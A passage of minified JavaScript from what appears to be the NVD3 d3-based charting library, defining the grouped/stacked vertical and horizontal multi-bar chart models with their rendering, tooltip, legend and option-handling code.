g.dispatch.on("elementMouseover.tooltip",function(a){o.data(a).position(a.pos).hidden(!1)}),g.dispatch.on("elementMouseout.tooltip",function(){o.hidden(!0)}),b.dispatch=A,b.legend=m,b.lines=g,b.lines2=h,b.xAxis=i,b.yAxis=j,b.x2Axis=k,b.y2Axis=l,b.interactiveLayer=p,b.tooltip=o,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return t},set:function(a){t=a}},height:{get:function(){return u},set:function(a){u=a}},focusHeight:{get:function(){return v},set:function(a){v=a}},showLegend:{get:function(){return x},set:function(a){x=a}},brushExtent:{get:function(){return y},set:function(a){y=a}},defaultState:{get:function(){return D},set:function(a){D=a}},noData:{get:function(){return z},set:function(a){z=a}},tooltips:{get:function(){return o.enabled()},set:function(b){a.deprecated("tooltips","use chart.tooltip.enabled() instead"),o.enabled(!!b)}},tooltipContent:{get:function(){return o.contentGenerator()},set:function(b){a.deprecated("tooltipContent","use chart.tooltip.contentGenerator() instead"),o.contentGenerator(b)}},margin:{get:function(){return q},set:function(a){q.top=void 0!==a.top?a.top:q.top,q.right=void 0!==a.right?a.right:q.right,q.bottom=void 0!==a.bottom?a.bottom:q.bottom,q.left=void 0!==a.left?a.left:q.left}},color:{get:function(){return s},set:function(b){s=a.utils.getColor(b),m.color(s)}},interpolate:{get:function(){return g.interpolate()},set:function(a){g.interpolate(a),h.interpolate(a)}},xTickFormat:{get:function(){return i.tickFormat()},set:function(a){i.tickFormat(a),k.tickFormat(a)}},yTickFormat:{get:function(){return j.tickFormat()},set:function(a){j.tickFormat(a),l.tickFormat(a)}},duration:{get:function(){return B},set:function(a){B=a,j.duration(B),l.duration(B),i.duration(B),k.duration(B)}},x:{get:function(){return g.x()},set:function(a){g.x(a),h.x(a)}},y:{get:function(){return g.y()},set:function(a){g.y(a),h.y(a)}},useInteractiveGuideline:{get:function(){return w},set:function(a){w=a,w&&(g.interactive(!1),g.useVoronoi(!1))}}}),a.utils.inheritOptions(b,g),a.utils.initOptions(b),b},a.models.multiBar=function(){"use strict";function b(E){return C.reset(),E.each(function(b){var E=k-j.left-j.right,F=l-j.top-j.bottom;p=d3.select(this),a.utils.initSVG(p);var G=0;if(x&&b.length&&(x=[{values:b[0].values.map(function(a){return{x:a.x,y:0,series:a.series,size:.01}})}]),u){var H=d3.layout.stack().offset(v).values(function(a){return a.values}).y(r)(!b.length&&x?x:b);H.forEach(function(a,c){a.nonStackable?(b[c].nonStackableSeries=G++,H[c]=b[c]):c>0&&H[c-1].nonStackable&&H[c].values.map(function(a,b){a.y0-=H[c-1].values[b].y,a.y1=a.y0+a.y})}),b=H}b.forEach(function(a,b){a.values.forEach(function(c){c.series=b,c.key=a.key})}),u&&b[0].values.map(function(a,c){var d=0,e=0;b.map(function(a,f){if(!b[f].nonStackable){var g=a.values[c];g.size=Math.abs(g.y),g.y<0?(g.y1=e,e-=g.size):(g.y1=g.size+d,d+=g.size)}})});var I=d&&e?[]:b.map(function(a,b){return a.values.map(function(a,c){return{x:q(a,c),y:r(a,c),y0:a.y0,y1:a.y1,idx:b}})});m.domain(d||d3.merge(I).map(function(a){return a.x})).rangeBands(f||[0,E],A),n.domain(e||d3.extent(d3.merge(I).map(function(a){var c=a.y;return u&&!b[a.idx].nonStackable&&(c=a.y>0?a.y1:a.y1+a.y),c}).concat(s))).range(g||[F,0]),m.domain()[0]===m.domain()[1]&&m.domain(m.domain()[0]?[m.domain()[0]-.01*m.domain()[0],m.domain()[1]+.01*m.domain()[1]]:[-1,1]),n.domain()[0]===n.domain()[1]&&n.domain(n.domain()[0]?[n.domain()[0]+.01*n.domain()[0],n.domain()[1]-.01*n.domain()[1]]:[-1,1]),h=h||m,i=i||n;var J=p.selectAll("g.nv-wrap.nv-multibar").data([b]),K=J.enter().append("g").attr("class","nvd3 nv-wrap nv-multibar"),L=K.append("defs"),M=K.append("g"),N=J.select("g");M.append("g").attr("class","nv-groups"),J.attr("transform","translate("+j.left+","+j.top+")"),L.append("clipPath").attr("id","nv-edge-clip-"+o).append("rect"),J.select("#nv-edge-clip-"+o+" rect").attr("width",E).attr("height",F),N.attr("clip-path",t?"url(#nv-edge-clip-"+o+")":"");var O=J.select(".nv-groups").selectAll(".nv-group").data(function(a){return a},function(a,b){return b});O.enter().append("g").style("stroke-opacity",1e-6).style("fill-opacity",1e-6);var P=C.transition(O.exit().selectAll("rect.nv-bar"),"multibarExit",Math.min(100,z)).attr("y",function(a){var c=i(0)||0;return u&&b[a.series]&&!b[a.series].nonStackable&&(c=i(a.y0)),c}).attr("height",0).remove();P.delay&&P.delay(function(a,b){var c=b*(z/(D+1))-b;return c}),O.attr("class",function(a,b){return"nv-group nv-series-"+b}).classed("hover",function(a){return a.hover}).style("fill",function(a,b){return w(a,b)}).style("stroke",function(a,b){return w(a,b)}),O.style("stroke-opacity",1).style("fill-opacity",.75);var Q=O.selectAll("rect.nv-bar").data(function(a){return x&&!b.length?x.values:a.values});Q.exit().remove();Q.enter().append("rect").attr("class",function(a,b){return r(a,b)<0?"nv-bar negative":"nv-bar positive"}).attr("x",function(a,c,d){return u&&!b[d].nonStackable?0:d*m.rangeBand()/b.length}).attr("y",function(a,c,d){return i(u&&!b[d].nonStackable?a.y0:0)||0}).attr("height",0).attr("width",function(a,c,d){return m.rangeBand()/(u&&!b[d].nonStackable?1:b.length)}).attr("transform",function(a,b){return"translate("+m(q(a,b))+",0)"});Q.style("fill",function(a,b,c){return w(a,c,b)}).style("stroke",function(a,b,c){return w(a,c,b)}).on("mouseover",function(a,b){d3.select(this).classed("hover",!0),B.elementMouseover({data:a,index:b,color:d3.select(this).style("fill")})}).on("mouseout",function(a,b){d3.select(this).classed("hover",!1),B.elementMouseout({data:a,index:b,color:d3.select(this).style("fill")})}).on("mousemove",function(a,b){B.elementMousemove({data:a,index:b,color:d3.select(this).style("fill")})}).on("click",function(a,b){B.elementClick({data:a,index:b,color:d3.select(this).style("fill")}),d3.event.stopPropagation()}).on("dblclick",function(a,b){B.elementDblClick({data:a,index:b,color:d3.select(this).style("fill")}),d3.event.stopPropagation()}),Q.attr("class",function(a,b){return r(a,b)<0?"nv-bar negative":"nv-bar positive"}).attr("transform",function(a,b){return"translate("+m(q(a,b))+",0)"}),y&&(c||(c=b.map(function(){return!0})),Q.style("fill",function(a,b,d){return d3.rgb(y(a,b)).darker(c.map(function(a,b){return b}).filter(function(a,b){return!c[b]})[d]).toString()}).style("stroke",function(a,b,d){return d3.rgb(y(a,b)).darker(c.map(function(a,b){return b}).filter(function(a,b){return!c[b]})[d]).toString()}));var R=Q.watchTransition(C,"multibar",Math.min(250,z)).delay(function(a,c){return c*z/b[0].values.length});u?R.attr("y",function(a,c,d){var e=0;return e=b[d].nonStackable?r(a,c)<0?n(0):n(0)-n(r(a,c))<-1?n(0)-1:n(r(a,c))||0:n(a.y1)}).attr("height",function(a,c,d){return b[d].nonStackable?Math.max(Math.abs(n(r(a,c))-n(0)),1)||0:Math.max(Math.abs(n(a.y+a.y0)-n(a.y0)),1)}).attr("x",function(a,c,d){var e=0;return b[d].nonStackable&&(e=a.series*m.rangeBand()/b.length,b.length!==G&&(e=b[d].nonStackableSeries*m.rangeBand()/(2*G))),e}).attr("width",function(a,c,d){if(b[d].nonStackable){var e=m.rangeBand()/G;return b.length!==G&&(e=m.rangeBand()/(2*G)),e}return m.rangeBand()}):R.attr("x",function(a){return a.series*m.rangeBand()/b.length}).attr("width",m.rangeBand()/b.length).attr("y",function(a,b){return r(a,b)<0?n(0):n(0)-n(r(a,b))<1?n(0)-1:n(r(a,b))||0}).attr("height",function(a,b){return Math.max(Math.abs(n(r(a,b))-n(0)),1)||0}),h=m.copy(),i=n.copy(),b[0]&&b[0].values&&(D=b[0].values.length)}),C.renderEnd("multibar immediate"),b}var c,d,e,f,g,h,i,j={top:0,right:0,bottom:0,left:0},k=960,l=500,m=d3.scale.ordinal(),n=d3.scale.linear(),o=Math.floor(1e4*Math.random()),p=null,q=function(a){return a.x},r=function(a){return a.y},s=[0],t=!0,u=!1,v="zero",w=a.utils.defaultColor(),x=!1,y=null,z=500,A=.1,B=d3.dispatch("chartClick","elementClick","elementDblClick","elementMouseover","elementMouseout","elementMousemove","renderEnd"),C=a.utils.renderWatch(B,z),D=0;return b.dispatch=B,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return k},set:function(a){k=a}},height:{get:function(){return l},set:function(a){l=a}},x:{get:function(){return q},set:function(a){q=a}},y:{get:function(){return r},set:function(a){r=a}},xScale:{get:function(){return m},set:function(a){m=a}},yScale:{get:function(){return n},set:function(a){n=a}},xDomain:{get:function(){return d},set:function(a){d=a}},yDomain:{get:function(){return e},set:function(a){e=a}},xRange:{get:function(){return f},set:function(a){f=a}},yRange:{get:function(){return g},set:function(a){g=a}},forceY:{get:function(){return s},set:function(a){s=a}},stacked:{get:function(){return u},set:function(a){u=a}},stackOffset:{get:function(){return v},set:function(a){v=a}},clipEdge:{get:function(){return t},set:function(a){t=a}},disabled:{get:function(){return c},set:function(a){c=a}},id:{get:function(){return o},set:function(a){o=a}},hideable:{get:function(){return x},set:function(a){x=a}},groupSpacing:{get:function(){return A},set:function(a){A=a}},margin:{get:function(){return j},set:function(a){j.top=void 0!==a.top?a.top:j.top,j.right=void 0!==a.right?a.right:j.right,j.bottom=void 0!==a.bottom?a.bottom:j.bottom,j.left=void 0!==a.left?a.left:j.left}},duration:{get:function(){return z},set:function(a){z=a,C.reset(z)}},color:{get:function(){return w},set:function(b){w=a.utils.getColor(b)}},barColor:{get:function(){return y},set:function(b){y=b?a.utils.getColor(b):null}}}),a.utils.initOptions(b),b},a.models.multiBarChart=function(){"use strict";function b(j){return D.reset(),D.models(e),r&&D.models(f),s&&D.models(g),j.each(function(j){var z=d3.select(this);a.utils.initSVG(z);var D=a.utils.availableWidth(l,z,k),H=a.utils.availableHeight(m,z,k);if(b.update=function(){0===C?z.call(b):z.transition().duration(C).call(b)},b.container=this,x.setter(G(j),b.update).getter(F(j)).update(),x.disabled=j.map(function(a){return!!a.disabled}),!y){var I;y={};for(I in x)y[I]=x[I]instanceof Array?x[I].slice(0):x[I]}if(!(j&&j.length&&j.filter(function(a){return a.values.length}).length))return a.utils.noData(b,z),b;z.selectAll(".nv-noData").remove(),c=e.xScale(),d=e.yScale(); -var J=z.selectAll("g.nv-wrap.nv-multiBarWithLegend").data([j]),K=J.enter().append("g").attr("class","nvd3 nv-wrap nv-multiBarWithLegend").append("g"),L=J.select("g");if(K.append("g").attr("class","nv-x nv-axis"),K.append("g").attr("class","nv-y nv-axis"),K.append("g").attr("class","nv-barsWrap"),K.append("g").attr("class","nv-legendWrap"),K.append("g").attr("class","nv-controlsWrap"),q&&(h.width(D-B()),L.select(".nv-legendWrap").datum(j).call(h),k.top!=h.height()&&(k.top=h.height(),H=a.utils.availableHeight(m,z,k)),L.select(".nv-legendWrap").attr("transform","translate("+B()+","+-k.top+")")),o){var M=[{key:p.grouped||"Grouped",disabled:e.stacked()},{key:p.stacked||"Stacked",disabled:!e.stacked()}];i.width(B()).color(["#444","#444","#444"]),L.select(".nv-controlsWrap").datum(M).attr("transform","translate(0,"+-k.top+")").call(i)}J.attr("transform","translate("+k.left+","+k.top+")"),t&&L.select(".nv-y.nv-axis").attr("transform","translate("+D+",0)"),e.disabled(j.map(function(a){return a.disabled})).width(D).height(H).color(j.map(function(a,b){return a.color||n(a,b)}).filter(function(a,b){return!j[b].disabled}));var N=L.select(".nv-barsWrap").datum(j.filter(function(a){return!a.disabled}));if(N.call(e),r){f.scale(c)._ticks(a.utils.calcTicksX(D/100,j)).tickSize(-H,0),L.select(".nv-x.nv-axis").attr("transform","translate(0,"+d.range()[0]+")"),L.select(".nv-x.nv-axis").call(f);var O=L.select(".nv-x.nv-axis > g").selectAll("g");if(O.selectAll("line, text").style("opacity",1),v){var P=function(a,b){return"translate("+a+","+b+")"},Q=5,R=17;O.selectAll("text").attr("transform",function(a,b,c){return P(0,c%2==0?Q:R)});var S=d3.selectAll(".nv-x.nv-axis .nv-wrap g g text")[0].length;L.selectAll(".nv-x.nv-axis .nv-axisMaxMin text").attr("transform",function(a,b){return P(0,0===b||S%2!==0?R:Q)})}u&&O.filter(function(a,b){return b%Math.ceil(j[0].values.length/(D/100))!==0}).selectAll("text, line").style("opacity",0),w&&O.selectAll(".tick text").attr("transform","rotate("+w+" 0,0)").style("text-anchor",w>0?"start":"end"),L.select(".nv-x.nv-axis").selectAll("g.nv-axisMaxMin text").style("opacity",1)}s&&(g.scale(d)._ticks(a.utils.calcTicksY(H/36,j)).tickSize(-D,0),L.select(".nv-y.nv-axis").call(g)),h.dispatch.on("stateChange",function(a){for(var c in a)x[c]=a[c];A.stateChange(x),b.update()}),i.dispatch.on("legendClick",function(a){if(a.disabled){switch(M=M.map(function(a){return a.disabled=!0,a}),a.disabled=!1,a.key){case"Grouped":case p.grouped:e.stacked(!1);break;case"Stacked":case p.stacked:e.stacked(!0)}x.stacked=e.stacked(),A.stateChange(x),b.update()}}),A.on("changeState",function(a){"undefined"!=typeof a.disabled&&(j.forEach(function(b,c){b.disabled=a.disabled[c]}),x.disabled=a.disabled),"undefined"!=typeof a.stacked&&(e.stacked(a.stacked),x.stacked=a.stacked,E=a.stacked),b.update()})}),D.renderEnd("multibarchart immediate"),b}var c,d,e=a.models.multiBar(),f=a.models.axis(),g=a.models.axis(),h=a.models.legend(),i=a.models.legend(),j=a.models.tooltip(),k={top:30,right:20,bottom:50,left:60},l=null,m=null,n=a.utils.defaultColor(),o=!0,p={},q=!0,r=!0,s=!0,t=!1,u=!0,v=!1,w=0,x=a.utils.state(),y=null,z=null,A=d3.dispatch("stateChange","changeState","renderEnd"),B=function(){return o?180:0},C=250;x.stacked=!1,e.stacked(!1),f.orient("bottom").tickPadding(7).showMaxMin(!1).tickFormat(function(a){return a}),g.orient(t?"right":"left").tickFormat(d3.format(",.1f")),j.duration(0).valueFormatter(function(a,b){return g.tickFormat()(a,b)}).headerFormatter(function(a,b){return f.tickFormat()(a,b)}),i.updateState(!1);var D=a.utils.renderWatch(A),E=!1,F=function(a){return function(){return{active:a.map(function(a){return!a.disabled}),stacked:E}}},G=function(a){return function(b){void 0!==b.stacked&&(E=b.stacked),void 0!==b.active&&a.forEach(function(a,c){a.disabled=!b.active[c]})}};return e.dispatch.on("elementMouseover.tooltip",function(a){a.value=b.x()(a.data),a.series={key:a.data.key,value:b.y()(a.data),color:a.color},j.data(a).hidden(!1)}),e.dispatch.on("elementMouseout.tooltip",function(){j.hidden(!0)}),e.dispatch.on("elementMousemove.tooltip",function(){j.position({top:d3.event.pageY,left:d3.event.pageX})()}),b.dispatch=A,b.multibar=e,b.legend=h,b.controls=i,b.xAxis=f,b.yAxis=g,b.state=x,b.tooltip=j,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return l},set:function(a){l=a}},height:{get:function(){return m},set:function(a){m=a}},showLegend:{get:function(){return q},set:function(a){q=a}},showControls:{get:function(){return o},set:function(a){o=a}},controlLabels:{get:function(){return p},set:function(a){p=a}},showXAxis:{get:function(){return r},set:function(a){r=a}},showYAxis:{get:function(){return s},set:function(a){s=a}},defaultState:{get:function(){return y},set:function(a){y=a}},noData:{get:function(){return z},set:function(a){z=a}},reduceXTicks:{get:function(){return u},set:function(a){u=a}},rotateLabels:{get:function(){return w},set:function(a){w=a}},staggerLabels:{get:function(){return v},set:function(a){v=a}},tooltips:{get:function(){return j.enabled()},set:function(b){a.deprecated("tooltips","use chart.tooltip.enabled() instead"),j.enabled(!!b)}},tooltipContent:{get:function(){return j.contentGenerator()},set:function(b){a.deprecated("tooltipContent","use chart.tooltip.contentGenerator() instead"),j.contentGenerator(b)}},margin:{get:function(){return k},set:function(a){k.top=void 0!==a.top?a.top:k.top,k.right=void 0!==a.right?a.right:k.right,k.bottom=void 0!==a.bottom?a.bottom:k.bottom,k.left=void 0!==a.left?a.left:k.left}},duration:{get:function(){return C},set:function(a){C=a,e.duration(C),f.duration(C),g.duration(C),D.reset(C)}},color:{get:function(){return n},set:function(b){n=a.utils.getColor(b),h.color(n)}},rightAlignYAxis:{get:function(){return t},set:function(a){t=a,g.orient(t?"right":"left")}},barColor:{get:function(){return e.barColor},set:function(a){e.barColor(a),h.color(function(a,b){return d3.rgb("#ccc").darker(1.5*b).toString()})}}}),a.utils.inheritOptions(b,e),a.utils.initOptions(b),b},a.models.multiBarHorizontal=function(){"use strict";function b(m){return E.reset(),m.each(function(b){var m=k-j.left-j.right,C=l-j.top-j.bottom;n=d3.select(this),a.utils.initSVG(n),w&&(b=d3.layout.stack().offset("zero").values(function(a){return a.values}).y(r)(b)),b.forEach(function(a,b){a.values.forEach(function(c){c.series=b,c.key=a.key})}),w&&b[0].values.map(function(a,c){var d=0,e=0;b.map(function(a){var b=a.values[c];b.size=Math.abs(b.y),b.y<0?(b.y1=e-b.size,e-=b.size):(b.y1=d,d+=b.size)})});var F=d&&e?[]:b.map(function(a){return a.values.map(function(a,b){return{x:q(a,b),y:r(a,b),y0:a.y0,y1:a.y1}})});o.domain(d||d3.merge(F).map(function(a){return a.x})).rangeBands(f||[0,C],A),p.domain(e||d3.extent(d3.merge(F).map(function(a){return w?a.y>0?a.y1+a.y:a.y1:a.y}).concat(t))),p.range(x&&!w?g||[p.domain()[0]<0?z:0,m-(p.domain()[1]>0?z:0)]:g||[0,m]),h=h||o,i=i||d3.scale.linear().domain(p.domain()).range([p(0),p(0)]);{var G=d3.select(this).selectAll("g.nv-wrap.nv-multibarHorizontal").data([b]),H=G.enter().append("g").attr("class","nvd3 nv-wrap nv-multibarHorizontal"),I=(H.append("defs"),H.append("g"));G.select("g")}I.append("g").attr("class","nv-groups"),G.attr("transform","translate("+j.left+","+j.top+")");var J=G.select(".nv-groups").selectAll(".nv-group").data(function(a){return a},function(a,b){return b});J.enter().append("g").style("stroke-opacity",1e-6).style("fill-opacity",1e-6),J.exit().watchTransition(E,"multibarhorizontal: exit groups").style("stroke-opacity",1e-6).style("fill-opacity",1e-6).remove(),J.attr("class",function(a,b){return"nv-group nv-series-"+b}).classed("hover",function(a){return a.hover}).style("fill",function(a,b){return u(a,b)}).style("stroke",function(a,b){return u(a,b)}),J.watchTransition(E,"multibarhorizontal: groups").style("stroke-opacity",1).style("fill-opacity",.75);var K=J.selectAll("g.nv-bar").data(function(a){return a.values});K.exit().remove();var L=K.enter().append("g").attr("transform",function(a,c,d){return"translate("+i(w?a.y0:0)+","+(w?0:d*o.rangeBand()/b.length+o(q(a,c)))+")"});L.append("rect").attr("width",0).attr("height",o.rangeBand()/(w?1:b.length)),K.on("mouseover",function(a,b){d3.select(this).classed("hover",!0),D.elementMouseover({data:a,index:b,color:d3.select(this).style("fill")})}).on("mouseout",function(a,b){d3.select(this).classed("hover",!1),D.elementMouseout({data:a,index:b,color:d3.select(this).style("fill")})}).on("mouseout",function(a,b){D.elementMouseout({data:a,index:b,color:d3.select(this).style("fill")})}).on("mousemove",function(a,b){D.elementMousemove({data:a,index:b,color:d3.select(this).style("fill")})}).on("click",function(a,b){D.elementClick({data:a,index:b,color:d3.select(this).style("fill")}),d3.event.stopPropagation()}).on("dblclick",function(a,b){D.elementDblClick({data:a,index:b,color:d3.select(this).style("fill")}),d3.event.stopPropagation()}),s(b[0],0)&&(L.append("polyline"),K.select("polyline").attr("fill","none").attr("points",function(a,c){var d=s(a,c),e=.8*o.rangeBand()/(2*(w?1:b.length));d=d.length?d:[-Math.abs(d),Math.abs(d)],d=d.map(function(a){return p(a)-p(0)});var f=[[d[0],-e],[d[0],e],[d[0],0],[d[1],0],[d[1],-e],[d[1],e]];return f.map(function(a){return a.join(",")}).join(" ")}).attr("transform",function(a,c){var d=o.rangeBand()/(2*(w?1:b.length));return"translate("+(r(a,c)<0?0:p(r(a,c))-p(0))+", "+d+")"})),L.append("text"),x&&!w?(K.select("text").attr("text-anchor",function(a,b){return r(a,b)<0?"end":"start"}).attr("y",o.rangeBand()/(2*b.length)).attr("dy",".32em").text(function(a,b){var c=B(r(a,b)),d=s(a,b);return void 0===d?c:d.length?c+"+"+B(Math.abs(d[1]))+"-"+B(Math.abs(d[0])):c+"±"+B(Math.abs(d))}),K.watchTransition(E,"multibarhorizontal: bars").select("text").attr("x",function(a,b){return r(a,b)<0?-4:p(r(a,b))-p(0)+4})):K.selectAll("text").text(""),y&&!w?(L.append("text").classed("nv-bar-label",!0),K.select("text.nv-bar-label").attr("text-anchor",function(a,b){return r(a,b)<0?"start":"end"}).attr("y",o.rangeBand()/(2*b.length)).attr("dy",".32em").text(function(a,b){return q(a,b)}),K.watchTransition(E,"multibarhorizontal: bars").select("text.nv-bar-label").attr("x",function(a,b){return r(a,b)<0?p(0)-p(r(a,b))+4:-4})):K.selectAll("text.nv-bar-label").text(""),K.attr("class",function(a,b){return r(a,b)<0?"nv-bar negative":"nv-bar positive"}),v&&(c||(c=b.map(function(){return!0})),K.style("fill",function(a,b,d){return d3.rgb(v(a,b)).darker(c.map(function(a,b){return b}).filter(function(a,b){return!c[b]})[d]).toString()}).style("stroke",function(a,b,d){return d3.rgb(v(a,b)).darker(c.map(function(a,b){return b}).filter(function(a,b){return!c[b]})[d]).toString()})),w?K.watchTransition(E,"multibarhorizontal: bars").attr("transform",function(a,b){return"translate("+p(a.y1)+","+o(q(a,b))+")"}).select("rect").attr("width",function(a,b){return Math.abs(p(r(a,b)+a.y0)-p(a.y0))}).attr("height",o.rangeBand()):K.watchTransition(E,"multibarhorizontal: bars").attr("transform",function(a,c){return"translate("+p(r(a,c)<0?r(a,c):0)+","+(a.series*o.rangeBand()/b.length+o(q(a,c)))+")"}).select("rect").attr("height",o.rangeBand()/b.length).attr("width",function(a,b){return Math.max(Math.abs(p(r(a,b))-p(0)),1)}),h=o.copy(),i=p.copy()}),E.renderEnd("multibarHorizontal immediate"),b}var c,d,e,f,g,h,i,j={top:0,right:0,bottom:0,left:0},k=960,l=500,m=Math.floor(1e4*Math.random()),n=null,o=d3.scale.ordinal(),p=d3.scale.linear(),q=function(a){return a.x},r=function(a){return a.y},s=function(a){return a.yErr},t=[0],u=a.utils.defaultColor(),v=null,w=!1,x=!1,y=!1,z=60,A=.1,B=d3.format(",.2f"),C=250,D=d3.dispatch("chartClick","elementClick","elementDblClick","elementMouseover","elementMouseout","elementMousemove","renderEnd"),E=a.utils.renderWatch(D,C);return b.dispatch=D,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return k},set:function(a){k=a}},height:{get:function(){return l},set:function(a){l=a}},x:{get:function(){return q},set:function(a){q=a}},y:{get:function(){return r},set:function(a){r=a}},yErr:{get:function(){return s},set:function(a){s=a}},xScale:{get:function(){return o},set:function(a){o=a}},yScale:{get:function(){return p},set:function(a){p=a}},xDomain:{get:function(){return d},set:function(a){d=a}},yDomain:{get:function(){return e},set:function(a){e=a}},xRange:{get:function(){return f},set:function(a){f=a}},yRange:{get:function(){return g},set:function(a){g=a}},forceY:{get:function(){return t},set:function(a){t=a}},stacked:{get:function(){return w},set:function(a){w=a}},showValues:{get:function(){return x},set:function(a){x=a}},disabled:{get:function(){return c},set:function(a){c=a}},id:{get:function(){return m},set:function(a){m=a}},valueFormat:{get:function(){return B},set:function(a){B=a}},valuePadding:{get:function(){return z},set:function(a){z=a}},groupSpacing:{get:function(){return A},set:function(a){A=a}},margin:{get:function(){return j},set:function(a){j.top=void 0!==a.top?a.top:j.top,j.right=void 0!==a.right?a.right:j.right,j.bottom=void 0!==a.bottom?a.bottom:j.bottom,j.left=void 0!==a.left?a.left:j.left}},duration:{get:function(){return C},set:function(a){C=a,E.reset(C)}},color:{get:function(){return u},set:function(b){u=a.utils.getColor(b)}},barColor:{get:function(){return v},set:function(b){v=b?a.utils.getColor(b):null}}}),a.utils.initOptions(b),b},a.models.multiBarHorizontalChart=function(){"use strict";function b(j){return C.reset(),C.models(e),r&&C.models(f),s&&C.models(g),j.each(function(j){var w=d3.select(this);a.utils.initSVG(w);var C=a.utils.availableWidth(l,w,k),D=a.utils.availableHeight(m,w,k);if(b.update=function(){w.transition().duration(z).call(b)},b.container=this,t=e.stacked(),u.setter(B(j),b.update).getter(A(j)).update(),u.disabled=j.map(function(a){return!!a.disabled}),!v){var E;v={};for(E in u)v[E]=u[E]instanceof Array?u[E].slice(0):u[E]}if(!(j&&j.length&&j.filter(function(a){return a.values.length}).length))return a.utils.noData(b,w),b;w.selectAll(".nv-noData").remove(),c=e.xScale(),d=e.yScale();var F=w.selectAll("g.nv-wrap.nv-multiBarHorizontalChart").data([j]),G=F.enter().append("g").attr("class","nvd3 nv-wrap nv-multiBarHorizontalChart").append("g"),H=F.select("g");if(G.append("g").attr("class","nv-x nv-axis"),G.append("g").attr("class","nv-y nv-axis").append("g").attr("class","nv-zeroLine").append("line"),G.append("g").attr("class","nv-barsWrap"),G.append("g").attr("class","nv-legendWrap"),G.append("g").attr("class","nv-controlsWrap"),q&&(h.width(C-y()),H.select(".nv-legendWrap").datum(j).call(h),k.top!=h.height()&&(k.top=h.height(),D=a.utils.availableHeight(m,w,k)),H.select(".nv-legendWrap").attr("transform","translate("+y()+","+-k.top+")")),o){var I=[{key:p.grouped||"Grouped",disabled:e.stacked()},{key:p.stacked||"Stacked",disabled:!e.stacked()}];i.width(y()).color(["#444","#444","#444"]),H.select(".nv-controlsWrap").datum(I).attr("transform","translate(0,"+-k.top+")").call(i)}F.attr("transform","translate("+k.left+","+k.top+")"),e.disabled(j.map(function(a){return a.disabled})).width(C).height(D).color(j.map(function(a,b){return a.color||n(a,b)}).filter(function(a,b){return!j[b].disabled}));var J=H.select(".nv-barsWrap").datum(j.filter(function(a){return!a.disabled}));if(J.transition().call(e),r){f.scale(c)._ticks(a.utils.calcTicksY(D/24,j)).tickSize(-C,0),H.select(".nv-x.nv-axis").call(f);var K=H.select(".nv-x.nv-axis").selectAll("g");K.selectAll("line, text")}s&&(g.scale(d)._ticks(a.utils.calcTicksX(C/100,j)).tickSize(-D,0),H.select(".nv-y.nv-axis").attr("transform","translate(0,"+D+")"),H.select(".nv-y.nv-axis").call(g)),H.select(".nv-zeroLine line").attr("x1",d(0)).attr("x2",d(0)).attr("y1",0).attr("y2",-D),h.dispatch.on("stateChange",function(a){for(var c in a)u[c]=a[c];x.stateChange(u),b.update()}),i.dispatch.on("legendClick",function(a){if(a.disabled){switch(I=I.map(function(a){return a.disabled=!0,a}),a.disabled=!1,a.key){case"Grouped":e.stacked(!1);break;case"Stacked":e.stacked(!0)}u.stacked=e.stacked(),x.stateChange(u),t=e.stacked(),b.update()}}),x.on("changeState",function(a){"undefined"!=typeof a.disabled&&(j.forEach(function(b,c){b.disabled=a.disabled[c]}),u.disabled=a.disabled),"undefined"!=typeof a.stacked&&(e.stacked(a.stacked),u.stacked=a.stacked,t=a.stacked),b.update()})}),C.renderEnd("multibar horizontal chart immediate"),b}var c,d,e=a.models.multiBarHorizontal(),f=a.models.axis(),g=a.models.axis(),h=a.models.legend().height(30),i=a.models.legend().height(30),j=a.models.tooltip(),k={top:30,right:20,bottom:50,left:60},l=null,m=null,n=a.utils.defaultColor(),o=!0,p={},q=!0,r=!0,s=!0,t=!1,u=a.utils.state(),v=null,w=null,x=d3.dispatch("stateChange","changeState","renderEnd"),y=function(){return o?180:0},z=250;u.stacked=!1,e.stacked(t),f.orient("left").tickPadding(5).showMaxMin(!1).tickFormat(function(a){return a}),g.orient("bottom").tickFormat(d3.format(",.1f")),j.duration(0).valueFormatter(function(a,b){return g.tickFormat()(a,b)}).headerFormatter(function(a,b){return f.tickFormat()(a,b)}),i.updateState(!1);var A=function(a){return function(){return{active:a.map(function(a){return!a.disabled}),stacked:t}}},B=function(a){return function(b){void 0!==b.stacked&&(t=b.stacked),void 0!==b.active&&a.forEach(function(a,c){a.disabled=!b.active[c]})}},C=a.utils.renderWatch(x,z);return e.dispatch.on("elementMouseover.tooltip",function(a){a.value=b.x()(a.data),a.series={key:a.data.key,value:b.y()(a.data),color:a.color},j.data(a).hidden(!1)}),e.dispatch.on("elementMouseout.tooltip",function(){j.hidden(!0)}),e.dispatch.on("elementMousemove.tooltip",function(){j.position({top:d3.event.pageY,left:d3.event.pageX})()}),b.dispatch=x,b.multibar=e,b.legend=h,b.controls=i,b.xAxis=f,b.yAxis=g,b.state=u,b.tooltip=j,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return l},set:function(a){l=a}},height:{get:function(){return m},set:function(a){m=a}},showLegend:{get:function(){return q},set:function(a){q=a}},showControls:{get:function(){return o},set:function(a){o=a}},controlLabels:{get:function(){return p},set:function(a){p=a}},showXAxis:{get:function(){return r},set:function(a){r=a}},showYAxis:{get:function(){return s},set:function(a){s=a}},defaultState:{get:function(){return v},set:function(a){v=a}},noData:{get:function(){return w},set:function(a){w=a}},tooltips:{get:function(){return j.enabled()},set:function(b){a.deprecated("tooltips","use chart.tooltip.enabled() instead"),j.enabled(!!b)}},tooltipContent:{get:function(){return j.contentGenerator()},set:function(b){a.deprecated("tooltipContent","use chart.tooltip.contentGenerator() instead"),j.contentGenerator(b)}},margin:{get:function(){return k},set:function(a){k.top=void 0!==a.top?a.top:k.top,k.right=void 0!==a.right?a.right:k.right,k.bottom=void 0!==a.bottom?a.bottom:k.bottom,k.left=void 0!==a.left?a.left:k.left}},duration:{get:function(){return z},set:function(a){z=a,C.reset(z),e.duration(z),f.duration(z),g.duration(z)}},color:{get:function(){return n},set:function(b){n=a.utils.getColor(b),h.color(n)}},barColor:{get:function(){return e.barColor},set:function(a){e.barColor(a),h.color(function(a,b){return 